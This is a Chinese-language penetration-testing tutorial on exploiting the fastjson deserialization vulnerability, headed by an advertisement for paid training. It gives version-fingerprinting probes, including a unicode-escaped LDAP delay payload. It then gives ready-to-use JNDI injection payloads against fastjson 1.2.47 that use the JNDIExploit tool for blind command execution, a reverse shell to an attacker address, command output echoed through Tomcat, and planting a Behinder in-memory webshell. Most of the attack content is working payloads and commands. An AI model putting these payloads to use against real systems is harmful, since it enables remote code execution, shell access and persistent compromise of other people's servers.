fastjson漏洞简单利用
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
fastjson漏洞简单利用:
判断是否是fastjson框架:
增加key的值:
fastjson默认是不会报错的
输入特定的payload或者去掉花括号使它爆出异常:
这个payload比较好用,使用这个大概率也会把版本爆出来。
{"@type": "java.lang.AutoCloseable"
判断版本:
DNS请求判断:
使用payload:
{"name":{"@type":"java.net.InetAddress","val":"dnslog.cn"}}
如果收到dns请求,则是1.2.47之前。
["test":1]
延时判断:
{"name":{"u0040u0074u0079u0070u0065":"u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0043u006cu0061u0073u0073","u0076u0061u006c":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c"},"x":{"u0040u0074u0079u0070u0065":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c","u0064u0061u0074u0061u0053u006fu0075u0072u0063u0065u004eu0061u006du0065":"ldap://11.111.22.222/test111","autoCommit":true}}
使用该payload请求一个不存在dns地址,存在延迟,请求127.0.0.1,则立马返回,证明是<=1.2.47
打法:
先来看1.2.47的payload:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://x.x.x.x:1098/jndi", "autoCommit": true } }
这里主要讲一下利用JNDI注入工具来是实现攻击。
工具地址:
https://github.com/WhiteHSBG/JNDIExploit
启动JNDI注入工具:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip地址
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip地址 -u
可以看到payload:
无回显命令执行(不推荐):
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://0.0.0.0:1389/Basic/Command/cmd命令", "autoCommit": true } }
成功创建
反弹shell:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]",
"autoCommit": true
}
}
执行命令回显:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/Basic/TomcatEcho",
"autoCommit": true
}
}
然后在数据包中添加:
cmd: whoami
可以看到成功执行whoami和ls命令并直接回显。
写冰蝎内存马:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/Basic/TomcatMemshell3",
"autoCommit": true
}
}
内存马路径:
http://ip地址/ateam
冰蝎连接:
如图:
成功连接。
其他的玩法可以参考工具官方链接。
参考:
https://github.com/WhiteHSBG/JNDIExploit
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/8168.html